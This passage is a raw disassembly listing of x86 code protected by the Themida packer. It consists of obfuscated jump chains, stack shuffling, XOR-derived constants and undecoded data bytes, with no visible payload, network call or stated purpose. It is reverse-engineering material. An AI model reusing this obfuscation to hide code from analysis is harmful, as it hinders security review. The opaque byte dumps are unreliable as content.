		dd 9C241CD2h, 0FFBD9FE9h, 0E78957FFh, 4C781h, 0C7810000h
		dd 4, 6349E9h, 213A6800h, 555D6DEFh, 7B0FBA52h,	54011D78h
		dd 5E5A0424h, 1938E951h, 525A0000h, 0D2F6AEB2h,	2414F652h
		dd 35EDE95Ah, 4870000h,	4895C24h, 5E08924h, 4, 33B368h
		dd 241C8900h, 7C2DE9h
		db 0
; ---------------------------------------------------------------------------


loc_547CD9:				; CODE XREF: Themida_:0054780Bj
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dd 51ADC361h, 0F4638CB9h, 0F1F18146h, 0E903A911h, 40F5h
		dd 0FB68C201h, 89000072h, 73B82404h, 13CE364h, 7CA3E9C2h
		dd 8F5A0000h, 895C2404h, 1B68242Ch, 0E9000007h,	6FB6h
; ---------------------------------------------------------------------------


loc_547D18:				; CODE XREF: Themida_:00544C85j
		and	eax, ebx
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 3D1B78BCh
		add	esi, 38A46CD8h
		jmp	loc_54F564
; ---------------------------------------------------------------------------
		db 81h,	0C9h, 50h
		dd 0C1509138h, 0E18103E1h, 14F85237h, 468BE56h,	0E6C165DEh
		dd 5EEC107h, 69B85046h,	8161E403h, 927ACEEEh, 0E9C62903h
		dd 0FFFFBF5Fh, 5859CF88h, 3BA68h, 0F03CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547D76:				; CODE XREF: Themida_:0054903Fj
		add	ax, bx
		jmp	loc_547770
; ---------------------------------------------------------------------------
		dw 4E5Ah
		dd 8105EEC1h, 30BB0AEEh, 5EF50103h, 8704C583h, 248B242Ch
		dd 24043124h, 277DE9h, 0E9F18800h, 5F14h, 0C9242C81h, 16BC601h
		dd 4812404h, 0C601C924h, 0EFB8506Bh, 8168080Ch,	24042444h
		dd 2904F550h, 0E9042444h, 0FFFFBCC0h, 0F528E957h, 0A6B7FFFFh
		dd 1114E9h, 0E9515A00h,	0F65h, 0C781DF01h, 195021D9h, 0C31E95Bh
		dd 0D3290000h, 444CC381h, 82E924B5h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547DFB:				; CODE XREF: Themida_:00546EC8j
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_54E110
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 9136D0BEh, 5EF101A5h, 0F0DC281h, 0CA015199h,	7DD9BD55h
		dd 0F58117C8h, 465172D4h, 8B5DEA29h, 0C481240Ch, 4, 0EA81C201h
		dd 73EA35B8h, 0FFBBCBE9h, 885350FFh, 5BDC88D3h,	5228E9h
		dd 5BFA0000h, 0E95AD000h, 30C0h
; ---------------------------------------------------------------------------


loc_547E6C:				; CODE XREF: Themida_:0054F80Aj
		xor	edi, 0B7E9C003h
		jmp	loc_545AE9
; ---------------------------------------------------------------------------


loc_547E77:				; CODE XREF: Themida_:0054E968j
		xchg	eax, [esp]
		pop	esp
		push	ebp
		mov	ebp, 60C82B26h
		not	ebp
		push	ebx
		jmp	loc_54E272
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 0EB010000h, 4B46E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547E96:				; CODE XREF: Themida_:005484DFj
		pop	edi
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	79D1h
		mov	[esp], esi
		jmp	loc_5499B5
; ---------------------------------------------------------------------------
aAhF		db 'Ah F',0
		dd 24348900h, 8D1614BEh, 90FE94Bh, 0EC810000h, 4, 0B4240489h
		dd 0E9CCFE8Ah, 467Eh, 0C2AD7BAh, 57BF57AFh, 16AE25Ch, 0D6295FFEh
		dd 5C57EE81h, 315A6AE2h, 4DE95EF1h, 83000050h, 0DFF604C4h
		dd 38E4E9h, 81425B00h, 0FF5DD0F2h, 5AD7017Bh, 2E4AE9h
		dd 48B6600h, 2C6EE924h,	0F2810000h, 49E20D98h, 0E906E2C1h
		dd 36F5h, 4240483h, 4C6815Eh, 50000000h, 33F5EB8h, 3F5A2D40h
		dd 0C6014003h, 0BCAFE958h, 0EE81FFFFh, 0D8AFB5B4h, 348BF189h
		dd 4C48124h, 0E9000000h, 257Eh
; ---------------------------------------------------------------------------


loc_547F68:				; CODE XREF: Themida_:0054D5F6j
		sub	dh, 13h
		push	ax
		mov	al, 7Ah
		jmp	loc_54C544
; ---------------------------------------------------------------------------


loc_547F74:				; CODE XREF: Themida_:0054A852j
		pop	ebx
		xor	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		push	edx
		jmp	loc_54BF39
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0B0F68104h, 5F5DBF37h, 8904EC83h, 5E5B2434h,	0FFBA7BE9h
		dd 242C89FFh, 22BAE9h
		db 0
; ---------------------------------------------------------------------------


loc_547FAD:				; CODE XREF: Themida_:00545025j
		push	531Ch
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		sub	esp, 4
		mov	[esp], edi
		push	1BAFh
		mov	[esp], ebx
		pop	edi
		push	7684h
		jmp	loc_54A485
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 51000000h, 4B9h, 0FFCD0100h,	81592434h, 4C4h, 4BF5700h
		dd 1000000h, 2C335FFDh,	9BE924h, 0D9F70000h, 0C3A3F181h
		dd 0EF818235h, 22EC4DEDh, 0C781CF01h, 22EC4DEDh, 3754E9h
		db 0
; ---------------------------------------------------------------------------


loc_548029:				; CODE XREF: Themida_:0054467Bj
		sub	eax, edi
		pop	edi
		jmp	loc_54D24D
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0E2h
		dd 812F457Fh, 4528F0C2h, 6C28105h, 295E853Ah, 6EA81C2h
		dd 835E853Ah, 3C8904ECh, 0B5685024h, 8B0D9D21h,	0C4832404h
		dd 1FB0E904h, 0E9530000h, 20F4h
; ---------------------------------------------------------------------------


loc_548068:				; CODE XREF: Themida_:00545A92j
		inc	edi
		add	edi, 0B198DE2Dh
		add	ebp, edi
		pop	edi
		jmp	loc_54A7CC
; ---------------------------------------------------------------------------
aNh0		db '­h=0',0
		dd 24348900h, 0D91330BEh, 464AE976h, 48B0000h, 0D158E924h
		dd 0C481FFFFh, 4, 4CF1E9h, 0C1815900h, 43AC28ADh, 0FFCEF5E9h
		dd 242C31FFh, 8B242C33h, 0BE0F2424h, 52EF68C8h,	0C890000h
		dd 0B95EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5480C2:				; CODE XREF: Themida_:0054B99Cj
		push	1CEFh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_54A953
; ---------------------------------------------------------------------------


loc_5480D7:				; CODE XREF: Themida_:0054C8ABj
		and	eax, ecx
		jmp	loc_54F221
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 52240C89h, 0EE8046B6h, 79E1E9ECh,	0EF810000h, 6D6F04E4h
		dd 0BC5685Bh, 0D5E90000h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548103:				; CODE XREF: Themida_:0054679Ej
		shl	ecx, 1
		sub	ecx, 171B0B14h
		shr	ecx, 6
		jmp	loc_5449E8
; ---------------------------------------------------------------------------
aP_la@s6l	db 'P¸Ù_«a@é6l',0
		db 0
; ---------------------------------------------------------------------------


loc_54811F:				; CODE XREF: Themida_:00549661j
		mov	ebx, [esp]
		push	esi
		jmp	loc_545861
; ---------------------------------------------------------------------------


loc_548128:				; CODE XREF: Themida_:005499F2j
		push	ebx
		sub	dword ptr [esp], 0A967B45h
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_545B35
; ---------------------------------------------------------------------------
aMaOaqj		db '·¬€Ço€ïj',0
		dw 80CFh
		dd 0EF806AC7h, 240C8B6Fh, 8804C483h, 241C8BF9h,	4C481h
		dd 0A9E90000h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548167:				; CODE XREF: Themida_:005468C6j
		neg	ebx
		xor	ebx, 51593359h
		or	ebx, 71A95B80h
		push	ebp
		mov	ebp, 0C522069h
		jmp	loc_545E04
; ---------------------------------------------------------------------------
		dd 80F4C680h, 0F0007DC6h, 0FFE17FE9h, 4EC81FFh,	89000000h
		dd 0BB53240Ch, 5EB466EDh, 0F708E3C1h, 5E3C1D3h,	4307EBC1h
		dd 0EB89EB81h, 17E997AFh, 29000064h, 2FE95FF9h
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5481BB:				; CODE XREF: Themida_:0054B16Bj
		push	ecx
		mov	ecx, 0EC56AF8h
		xor	ecx, 7DFE3BF2h
		shl	ecx, 5
		add	ecx, 0F4EF04C0h
		sub	edi, ecx
		pop	ecx
		inc	edi
		shr	edi, 1
		shl	edi, 7
		xor	edi, 150B5504h
		add	esi, edi
		jmp	loc_54A6D8
; ---------------------------------------------------------------------------
		dw 0D901h
		dd 1CD2E981h, 1C8B1B43h, 4C48124h, 56000000h, 41AFE9h
		dd 7DC18100h, 0E9379858h, 304Eh, 4C381h, 0C3830000h, 241C8704h
		dd 4720E9h, 33BE5600h, 81547F5Fh, 0FAAE55C6h, 5EF389B5h
		dd 0E95BDF29h, 7521h, 4467EA81h, 0EAC16D02h, 28F3E906h
		dd 0EC810000h, 4, 54243489h, 2142E95Eh,	0BB530000h, 0C9D43FCh
		dd 55BD901h, 1EE523E4h,	0FFE77AE9h, 24048BFFh, 0E904C483h
		dd 4C6Dh, 575ABF57h, 0B850081Bh, 0C492E12h, 0EE4ED72Dh
		dd 3CFA0D5Fh, 0D8F71DB3h, 2414F750h, 7BE94058h,	89FFFFCDh
		dd 4BF243Ch, 1000000h, 0BF575FFEh, 2, 2BAEE9h
		db 0
; ---------------------------------------------------------------------------


loc_5482A5:				; CODE XREF: Themida_:005467EBj
		mov	bx, 1B79h
		jmp	loc_549038
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 0FFFE5EE9h, 335E5FFFh, 0C31240Ch, 2951E924h,	3C870000h
		dd 34895C24h, 2BE24h, 0BD550000h, 40285C78h, 28C2EB81h
		dd 0EB297A0Fh, 28C2C381h, 15D7A0Fh, 34BF57F3h, 686F1A5Eh
		dd 0
		dd 9C240481h, 293D5B33h, 2C81243Ch, 5B339C24h, 47475F3Dh
		dd 32E9DFF7h, 1000051h,	4335AD0h, 24043124h, 8B240433h
		dd 0C1382424h, 0B6FEE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548322:				; CODE XREF: Themida_:0054521Aj
		mov	edi, [esp]
		push	eax
		push	esp
		jmp	loc_54B006
; ---------------------------------------------------------------------------
		dd 83241C8Bh, 0D80004C4h, 0FE49B252h, 3C38E9C2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54833E:				; CODE XREF: Themida_:0054C835j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		shr	eax, 0Ch
		xor	eax, ecx
		push	6634h
		jmp	loc_549FA4
; ---------------------------------------------------------------------------
		dd 4C181h, 0E9810000h, 4, 0FFCA03E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54836D:				; CODE XREF: Themida_:0054784Dj
		add	edi, ecx
		jmp	loc_546D85
; ---------------------------------------------------------------------------


loc_548374:				; CODE XREF: Themida_:0054DF20j
		pop	esi
		mov	eax, edx
		pop	edx
		push	edx
		mov	edx, 8DC3C16h
		jmp	loc_54A2F4
; ---------------------------------------------------------------------------


loc_548383:				; CODE XREF: Themida_:0054D1E0j
		push	33725474h
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_544B1B
; ---------------------------------------------------------------------------


loc_5483A5:				; CODE XREF: Themida_:00545371j
		mov	esi, [esp]
		add	esp, 4
		and	ebx, 64D071E2h
		shr	ebx, 6
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 34BB2339h
		xor	ebx, esi
		jmp	loc_547B3D
; ---------------------------------------------------------------------------
		db 66h,	58h, 28h
		dd 240C8BEBh, 0FFB96CE9h, 0E9D601FFh, 321Eh, 1C8BDA29h
		dd 0E2895224h, 4C281h, 21E90000h, 0FF000035h, 8B042474h
		dd 0C4832404h, 24048F04h, 0FFC889E9h, 14875DFFh, 0B8B5E924h
		dd 478FFFFFh, 0B60EE940h, 489FFFFh, 0B606E924h,	0BE56FFFFh
		dd 25DF311Bh, 0D1D6F746h, 67CE81EEh, 8127CB32h,	24888DC6h
		dd 5EF78990h, 3043BF57h, 0FD01294Bh, 0E9FD015Fh, 16DAh
		dd 0E99C5166h, 0FFFFB9A0h, 2D58C101h, 3B6C3746h, 4605C829h
		dd 593B6C37h, 4867F405h, 56D82928h, 0FFC521E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_548469:				; CODE XREF: Themida_:0054E66Dj
		pop	ecx
		sub	ebx, 7B45B48Eh
		add	edi, ebx
		jmp	loc_54938B
; ---------------------------------------------------------------------------
		db 52h
		dd 4BAh, 5AD60100h, 4B951h, 0CE010000h,	183DE9h, 2DBE6800h
		dd 0F7596E16h, 4BF181D1h, 89D3489Ch, 0DE959CDh
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5484A3:				; CODE XREF: Themida_:0054D3F6j
		mov	[esp], edi
		mov	edi, 60977B8Ah
		push	ebx
		mov	ebx, 7D8F3044h
		xor	edi, ebx
		pop	ebx
		push	edi
		xor	dword ptr [esp], 2653144Bh
		pop	edx
		xor	edx, 2653144Bh
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_54CE10
; ---------------------------------------------------------------------------


loc_5484CE:				; CODE XREF: Themida_:0054CD79j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	esp
		jmp	loc_547E96
; ---------------------------------------------------------------------------
		dd 5DEB295Ah, 5A7BBE56h, 8BE91403h, 0AD000043h,	0ED08072Dh
		dd 1BD6E914h, 48F0000h,	24048124h, 4, 0E9E9575Bh, 59000047h
		dd 2474FF56h, 48F5E04h,	0B9E95C24h, 83FFFFBFh, 0F32904C4h
		dd 0A0C3815Eh, 13C8E0Ah, 0F0E950C3h, 5E00003Ah,	4C681h
		dd 0C6830000h, 24348704h, 4EC835Ch, 68243C89h, 7247h, 56240489h
		dd 0A47357BEh, 5EF08945h, 6852D8F7h, 29A220DAh,	4E2C15Ah
		dd 0FFE9A3E9h, 0C2815AFFh, 4, 3304EA83h, 14312414h, 24143324h
		dd 8924248Bh, 4812424h,	424h, 58685A00h, 89000036h, 4BB241Ch
		dd 1000000h, 0C2815BDAh, 2, 31241433h, 14332414h, 1C1AE924h
		dd 89660000h, 69E92404h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5485B7:				; CODE XREF: Themida_:005490F4j
		mov	ecx, [esp]
		add	esp, 4
		add	edi, ebx
		add	edi, 4793757Fh
		pop	ebx
		std
		push	5F6Ch
		jmp	loc_5472DF
; ---------------------------------------------------------------------------
		dd 25D0F75Bh, 7FF86441h, 4352E9h, 0E9F10100h, 0FFFFF639h
		dd 582434FFh, 51EA68h, 242C8900h, 8956E589h, 4C681E6h
		dd 83000000h, 348704EEh, 67E95C24h, 66FFFFCBh, 0E924048Bh
		dd 0FFFFD512h, 4C481h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esi, 4
		push	eax
		push	7B4Eh
		mov	[esp], ebp
		mov	ebp, 4FEE4BA9h
		mov	eax, 4FEE4BABh
		xor	eax, ebp
		pop	ebp
		add	esi, eax
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_54899D
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 51000000h,	5A4F68h, 0B773E900h, 5758FFFFh
		dd 42474FFh, 24048F5Fh,	2434FF5Ch, 83240C8Bh, 2EE904C4h
		dd 5E000006h, 8B1C5709h, 8FE92414h
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54868B:				; CODE XREF: Themida_:0054BA8Fj
		mov	[esp], edx
		push	7550h
		jmp	loc_54507B
; ---------------------------------------------------------------------------


loc_548698:				; CODE XREF: Themida_:00545F09j
		mov	eax, [esp]
		push	eax
		jmp	loc_545FA7
; ---------------------------------------------------------------------------


loc_5486A1:				; CODE XREF: Themida_:00546FBBj
		mov	[esp], eax
		push	esp
		pop	eax
		push	edi
		mov	edi, 1D7D7A8Eh
		sub	edi, 1D7D7A8Ah
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		not	ebp
		xchg	ebp, edx
		jmp	loc_54CAC2
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8704C4h, 24248B24h, 8B2434FFh, 0B4E92404h,	89000013h
		dd 0E6892434h, 0EFCCE957h, 0C781FFFFh, 4, 472DE9h, 0E9545000h
		dd 0FFFFCCC0h, 0EA81EA87h, 44C777F0h, 0B8EA8142h, 0E9A744A8h
		dd 2510h, 38454D35h, 58C63114h,	0DCD5E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548722:				; CODE XREF: Themida_:0054BBC4j
		sub	[esp+4], ebx
		pop	ebx
		pop	eax
		jmp	loc_54B0C7
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0D4h
		dd 251E471Ch, 175610CEh, 0E9D0F748h, 0FFFFDED1h, 0D358EF68h
		dd 0D7F75F0Ah, 3889E781h, 0EF81669Fh, 640C1FFEh, 3C8BFE89h
		dd 4C48124h, 2D000000h,	4484354Fh, 720AE9h, 240C8900h
		dd 0FFF435E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_548771:				; CODE XREF: Themida_:0054D695j
		add	eax, 6EE447DCh
		pop	ebp
		sub	ebx, eax
		push	dword ptr [esp]
		jmp	loc_54C69E
; ---------------------------------------------------------------------------


loc_548781:				; CODE XREF: Themida_:00548D51j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_54AA8E
; ---------------------------------------------------------------------------
		dw 7CBAh
		dd 0E93C445Fh, 0FFFFCFCBh, 100868h, 24148900h, 9E95355h
		dd 0FF00003Bh, 0E9582434h, 3836h, 89243489h, 0FCBDE9E6h
		dd 0ADB2FFFFh, 281CF280h, 24148BD3h, 0E904C483h, 40B8h
		dd 1D2ABE56h, 65052815h, 533D879h, 6AE4733Ah, 466BE9h
		dd 5EF13100h, 7F37172Dh, 0E9C80149h, 2DA0h, 4C381h, 1C870000h
		dd 24248B24h, 0FDE5EE81h, 8B5648A0h, 0DDE9240Ch, 0FF000029h
		dd 669D1C77h, 2414D259h, 0B206E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54881A:				; CODE XREF: Themida_:0054DB27j
		mov	eax, 210611Fh
		sub	ebx, eax
		pop	eax
		and	eax, ebx
		jmp	loc_54786F
; ---------------------------------------------------------------------------


loc_548829:				; CODE XREF: Themida_:00549CC5j
		add	eax, 3B8746C0h
		push	7078h
		jmp	loc_545AFB
; ---------------------------------------------------------------------------
		dd 592434FFh, 72ABE9h, 1A00BB00h, 0D3F70E43h, 0D4BCEB81h
		dd 68E9AA59h, 8B000058h, 0C481242Ch, 4,	6CFC685Eh, 1C890000h
		dd 68525724h, 62322525h, 3EAC15Ah, 1EA81h, 0C2810000h
		dd 32CEDACEh, 4F5AD789h, 0C783D7F7h, 621B68FFh,	1C890000h
		dd 0F987E924h, 0B951FFFFh, 26C3017Ch, 5508E9C1h, 6918F2BDh
		dd 8BE93154h, 0C483242Ch, 0D5F18104h, 5256D662h, 6646DEBAh
		dd 5AD101FDh, 0C8BC801h, 4C48324h, 42Dh, 24048700h, 2434895Ch
		dd 8904EC83h, 4832424h,	815E0424h, 4C6h, 2C68100h, 33000000h
		dd 34312434h, 24343324h, 0C8B665Ch, 0FF545624h,	73E92434h
		dd 8100005Ah, 4EDh, 242C8700h, 2434895Ch, 45E668h, 243C8900h
		dd 0BFh, 15E5E900h, 575B0000h, 4BFh, 0F12EE900h, 0EC81FFFFh
		dd 4, 54243489h, 2468535Eh, 0E968E83Bh,	4197h
; ---------------------------------------------------------------------------


loc_54893C:				; CODE XREF: Themida_:005474C1j
		mov	ebx, 4
		jmp	loc_54B568
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 66E1F624h, 57CCB60Fh, 0EAE9E789h
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548957:				; CODE XREF: Themida_:0054D6C8j
		mov	edx, esi
		pop	esi
		jmp	loc_544B8B
; ---------------------------------------------------------------------------


loc_54895F:				; CODE XREF: Themida_:00547365j
		pop	edx
		add	edi, 2
		jmp	loc_545C1F
; ---------------------------------------------------------------------------


loc_54896B:				; CODE XREF: Themida_:0054AF91j
		sub	ebp, 31090B1Eh
		jmp	loc_54D69A
; ---------------------------------------------------------------------------
		dw 6658h
		dd 30F0B151h, 0FE5966CAh, 5D59E9CAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548986:				; CODE XREF: Themida_:005476B5j
		mov	[esp], esi
		push	81094Ah
		mov	esi, [esp]
		jmp	loc_54F442
; ---------------------------------------------------------------------------
aPSM		db 'P^éÏM',0
		db 0
; ---------------------------------------------------------------------------


loc_54899D:				; CODE XREF: Themida_:0054864Ej
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xchg	esi, [esp]
		pop	esp
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_543A20
; ---------------------------------------------------------------------------
		dw 5558h
		dd 0AA2AE6BDh, 81DDF74Ch, 4ECh,	243C8900h, 994E55BFh, 5FFD2170h
		dd 3C82E9h
		db 0
; ---------------------------------------------------------------------------


loc_5489D9:				; CODE XREF: Themida_:00548A7Bj
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_54502A
; ---------------------------------------------------------------------------
		dw 55ADh
		dd 0EE37E7BDh, 0BDED8148h, 2920D91Ah, 86055DE8h, 2979044Eh
		dd 4E862DD8h, 0C1E97904h, 0BFFFFFFDh, 4, 575FF801h, 8904EC83h
		dd 0E5E92404h, 81FFFFD7h, 2C7h,	34BA6800h, 3C890000h, 2474FF24h
		dd 243C8B04h, 498CE9h
		db 0
; ---------------------------------------------------------------------------


loc_548A39:				; CODE XREF: Themida_:0054779Cj
		mov	[esp], ebx
		jmp	loc_547996
; ---------------------------------------------------------------------------
		db 89h,	30h, 8Bh
		dd 0C4832434h, 0AFD2E904h, 0C601FFFFh, 469DEE81h, 0E9526FA9h
		dd 0FFFFFD32h, 0E9240C89h, 0A87h
; ---------------------------------------------------------------------------


loc_548A64:				; CODE XREF: Themida_:0054EF95j
		mov	esi, ebx
		pop	ebx
		add	ebx, 65125BDAh
		add	ebx, esi
		sub	ebx, 65125BDAh
		pop	esi
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_5489D9
; ---------------------------------------------------------------------------
		dd 0F20FE955h, 0FD01FFFFh, 0FFD7D0E9h, 243C89FFh, 8904EC83h
		dd 4832424h, 555F0424h,	6F3D27BDh, 15D4E95Fh, 0CD010000h
		dd 242C3359h, 33242C31h, 248B242Ch, 0B30F6624h,	0E99C2404h
		dd 0FFFFAF60h
; ---------------------------------------------------------------------------


loc_548AC0:				; CODE XREF: Themida_:0054C721j
		push	7184h
		mov	[esp], ecx
		push	620A0072h
		mov	ecx, [esp]
		add	esp, 4
		shr	ecx, 6
		push	ecx
		xchg	eax, [esp]
		push	eax
		jmp	loc_54AEA0
; ---------------------------------------------------------------------------
		dd 0BB04D8F6h, 8BE9C228h, 83FFFFFEh, 96E904C1h,	0FFFFFFC2h
		dd 8B042474h, 33E92404h, 2900006Bh, 0BCE955F1h,	81FFFFB4h
		dd 747509F6h, 0E560E9F7h, 0E951FFFFh, 5307h
; ---------------------------------------------------------------------------


loc_548B18:				; CODE XREF: Themida_:0054CEC1j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_54C5E4
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 0E9000000h, 0FFFFC3BDh, 333FBF57h, 0F92973E2h, 6CCEE9h
		dd 81E5D100h, 0EB05EEC5h, 1732E921h, 0FB890000h, 50ACE9h
		db 0
; ---------------------------------------------------------------------------


loc_548B55:				; CODE XREF: Themida_:00545D66j
		xchg	edi, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_54D4D9
; ---------------------------------------------------------------------------
		db 1
		dd 8B04247Ch, 0E956243Ch, 56B7h
; ---------------------------------------------------------------------------


loc_548B80:				; CODE XREF: Themida_:00546E0Aj
		pop	di
		sub	si, cx
		jmp	loc_54F1DF
; ---------------------------------------------------------------------------
		dw 295Bh
		dd 54E95EF2h, 68FFFFECh, 267Ah,	88241489h, 0D08850CAh
		dd 5A58C388h, 0E9240C8Bh, 0FFFFD41Dh
; ---------------------------------------------------------------------------


loc_548BAC:				; CODE XREF: Themida_:0054CB27j
		mov	eax, [esp]
		jmp	loc_549F50
; ---------------------------------------------------------------------------


loc_548BB4:				; CODE XREF: Themida_:005440C7j
		mov	[esp], esi
		push	ebx
		jmp	loc_54F31C
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 4
		dd 0E9000000h, 5F88h, 0D0DEA81h, 0EA814A43h, 778EE309h
		dd 895AD631h, 0C1815EF2h, 591D7485h, 0E981D101h, 591D7485h
		dd 5724148Bh, 0C781E789h, 4, 8704C783h,	685C243Ch, 3BCAh
		dd 0BA241489h, 4B6D0FBDh, 2F44F281h, 0C28112C2h, 0B120603h
		dd 431AE9h, 3EE95E00h, 0C1000001h, 0E3C103EBh, 6FB85002h
		dd 0C113B37Ch, 0D8F708E0h, 2361232Dh, 480F2D15h, 0A350ECCh
		dd 21744BFEh, 0C38158C3h, 7A766486h, 64C2EB81h,	32059686h
		dd 15C2707h, 7322DD8h, 47E95C27h, 0E900002Fh, 69C6h
; ---------------------------------------------------------------------------


loc_548C64:				; CODE XREF: Themida_:0054A8CFj
		pop	esi
		mov	ebx, ebp
		pop	ebp
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 316A1E25h
		sub	ebx, ecx
		jmp	loc_54D116
; ---------------------------------------------------------------------------
		db 56h,	68h, 2
		dd 5E000000h, 0A56CB32Dh, 0D401E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548C8E:				; CODE XREF: Themida_:0054AF27j
		push	ebp
		mov	ebp, 390293EDh
		add	edi, 44CA73ABh
		jmp	loc_54BA4D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0EC832404h, 240C8904h, 0FFF601E9h, 23B568FFh, 3C890000h
		dd 275AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548CBA:				; CODE XREF: Themida_:00544096j
		mov	ecx, esp
		push	ebp
		push	eax
		push	779B7146h
		mov	eax, [esp]
		add	esp, 4
		sub	eax, 2D3E20BBh
		shl	eax, 6
		shr	eax, 3
		xor	eax, 12EA845Ch
		mov	ebp, eax
		pop	eax
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		push	ebx
		mov	ebx, 4F685AF6h
		mov	ebp, 0B097A50Eh
		jmp	loc_54A59B
; ---------------------------------------------------------------------------
		dd 80E9FE30h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548CFF:				; CODE XREF: Themida_:005476A3j
		mov	[esp], ecx
		jmp	loc_54F158
; ---------------------------------------------------------------------------
		db 5
		dd 4, 2C75E9h, 4EC8300h, 3FB9E9h, 24048B00h, 4C481h, 0BE560000h
		dd 2, 3436C181h, 0F1014BCDh, 3436BF57h,	0F9294BCDh, 0FFF578E9h
		dd 5DEA01FFh, 0FFC367E9h, 0E9E189FFh, 0FFFFBB86h
; ---------------------------------------------------------------------------


loc_548D4C:				; CODE XREF: Themida_:0054A146j
		pop	ecx
		add	esp, 4
		push	edx
		jmp	loc_548781
; ---------------------------------------------------------------------------
aT_sc7		db 'T_éc7',0
		dd 0ACEE8100h, 0E95266F3h, 2BD4h, 0BA15E951h, 8B66FFFFh
		dd 8950240Ch, 0F5BE56E0h, 0E91AA17Dh, 159Ch, 0E9242C31h
		dd 4617h, 0AAC6814Eh, 0E966A61Fh, 717h
; ---------------------------------------------------------------------------


loc_548D94:				; CODE XREF: Themida_:0054CB50j
		mov	esp, [esp]
		jmp	loc_54F2A8
; ---------------------------------------------------------------------------
		dd 13C78158h, 0E909154Ah, 0FFFFE4B2h, 0B8240489h, 2, 0E5E9C389h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548DB7:				; CODE XREF: Themida_:0054F62Dj
		add	ebp, 4
		push	edi
		mov	edi, 726F5A07h
		jmp	loc_544FA9
; ---------------------------------------------------------------------------


loc_548DC8:				; CODE XREF: Themida_:005477AFj
		xchg	ebp, [esp]
